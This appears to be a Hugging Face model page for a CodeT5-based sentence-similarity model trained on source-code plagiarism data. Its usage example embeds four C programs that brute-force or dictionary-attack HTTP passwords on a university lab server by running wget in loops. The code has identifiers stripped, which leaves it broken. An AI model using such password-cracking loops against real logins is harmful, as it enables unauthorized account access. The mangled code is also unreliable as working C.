Sentence Similarity
sentence-transformers
Safetensors
t5
feature-extraction
dense
Generated from Trainer
dataset_size:3081
loss:BatchAllTripletLoss
Instructions to use buelfhood/SOCO-C-CodeT5Small-ST with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- sentence-transformers
How to use buelfhood/SOCO-C-CodeT5Small-ST with sentence-transformers:
from sentence_transformers import SentenceTransformer model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST") sentences = [ "\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={'\\0'};\n strcpy(,b);\n \n strcat(,);\n printf (\"Sending command %s\\n\",);\n if ( system()== 0) {\n printf (\"\\n password is : %s\",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = '\\0';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {'\\0'};\n char *passwd;\n char a[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n char v[4]={'\\0'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,\"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=\");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf (\"\\n The password is : %s\",v);\n printf(\"%lld nanoseconds (%lf) seconds \\n\", final, (double)final/OneBillion );\n\n}\n", "\n\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n\n\nint ()\n\n{\n int cntr=0;\n char get[96];\n char username[]=\"\";\n char password[16];\n int R_VALUE;\n double time_used;\n clock_t , end;\n \n FILE* fp;\n fp = fopen(\"/usr/share/lib/dict/words\",\"r\");\n \n = clock();\n \n while ( fscanf(fp,\"%s\",&password) != EOF )\n\t {\n \n\t\t \n\t\t if(strlen(password)>3) continue;\n\t\t \n\t\t cntr++;\n printf(\"%d >> PASSWORD SEND : %s \\n\",cntr, password);\n \n\t\t\t\tsprintf(get,\"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/\",username,password);\n \n \n R_VALUE=system(get);\n \n\t if(R_VALUE==0)\n\t\t\t\t{\n\t\t printf(\"The Password has been cracked and it is : %s\" , password);\n\t\t exit(0);\n\t\t\t\t}\n\n\t }\n\n\t \n end = clock();\n time_used = ((double) (end - )) / CLOCKS_PER_SEC;\n printf(\"time_used = %f\\n\", time_used);\n\n}\n\n\n\n", "\n\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n\n\nint ()\n\n{\n int cntr=0;\n char get[96];\n char username[]=\"\";\n char password[16];\n int R_VALUE;\n double time_used;\n clock_t , end;\n \n FILE* fp;\n fp = fopen(\"/usr/share/lib/dict/words\",\"r\");\n \n = clock();\n \n while ( fscanf(fp,\"%s\",&password) != EOF )\n\t {\n \n\t\t \n\t\t if(strlen(password)>3) continue;\n\t\t \n\t\t cntr++;\n printf(\"%d >> PASSWORD SEND : %s \\n\",cntr, password);\n \n\t\t\t\tsprintf(get,\"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/\",username,password);\n \n \n R_VALUE=system(get);\n \n\t if(R_VALUE==0)\n\t\t\t\t{\n\t\t printf(\"The Password has been cracked and it is : %s\" , password);\n\t\t exit(0);\n\t\t\t\t}\n\n\t }\n\n\t \n end = clock();\n time_used = ((double) (end - )) / CLOCKS_PER_SEC;\n printf(\"time_used = %f\\n\", time_used);\n\n}\n\n\n\n", "\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n int i,j,k,success;\n char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n \n \n strcpy(str1,\"wget --http-user= --http-passwd=\");\n strcpy(str2,\" http://sec-crack.cs.rmit.edu./SEC/2/\");\n strcpy(tempstr,\"\");\n\n\n\n for(i=0;i<52;i++)\n {\n passwd[0]= chararray[i];\n strcat(tempstr,str1);\n strcat(tempstr,passwd);\n strcat(tempstr,str2);\n printf(\"SENDING REQUEST AS %s\\n\",tempstr);\n success=system (tempstr);\n if (success==0)\n return 1;\n else\n strcpy(tempstr,\"\"); \n strcpy(passwd,\"\");\n } \n\n\n\n for(i=0;i<52;i++)\n {\n passwd[0]= chararray[i];\n for(j=0;j<52;j++)\n {\n passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n strcat(tempstr,passwd);\n strcat(tempstr,str2);\n printf(\"SENDING REQUEST AS %s\\n\",tempstr);\n success=system (tempstr);\n if (success==0)\n return 1;\n else\n strcpy(tempstr,\"\"); \n \n } \n }\n\n\n\n for(i=0;i<52;i++)\n {\n passwd[0]= chararray[i];\n for(j=0;j<52;j++)\n {\n passwd[1]=chararray[j];\n for(k=0;k<52;k++)\n\t {\n\t passwd[2]=chararray[k];\n\t strcat(tempstr,str1);\n strcat(tempstr,passwd);\n strcat(tempstr,str2);\n printf(\"SENDING REQUEST AS %s\\n\",tempstr);\n success=system (tempstr);\n if (success==0)\n return 1;\n else\n strcpy(tempstr,\"\"); \n\t } \n } \n }\n return 1;\n } \n\nint (int argc, char *argv[])\n {\n char chararray[52],passwd[3];\n int i,success;\n char ch='a';\n\n\n \n int , end; \n = time();\t \n\n for (i=0;i<3;i++)\n {\n passwd[i]='\\0';\n } \n\n\n\n for (i=0;i<26;i++)\n {\n chararray[i]= ch;\n\t ch++;\n }\n ch='A'; \n for (i=26;i<52;i++)\n {\n chararray[i]= ch;\n\t ch++;\n }\n\n\n\n success=genchkpwd(chararray,passwd);\n printf(\"\\nPassword is %s\\n\",passwd); \n getpid();\n end = time(); \n printf(\"Time required = %lld msec\\n\",(end-)/());\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n" ] embeddings = model.encode(sentences) similarities = model.similarity(embeddings, embeddings) print(similarities.shape) # [4, 4] - Notebooks
- Google Colab
- Kaggle
Welcome to the community
The community tab is the place to discuss and collaborate with the HF community!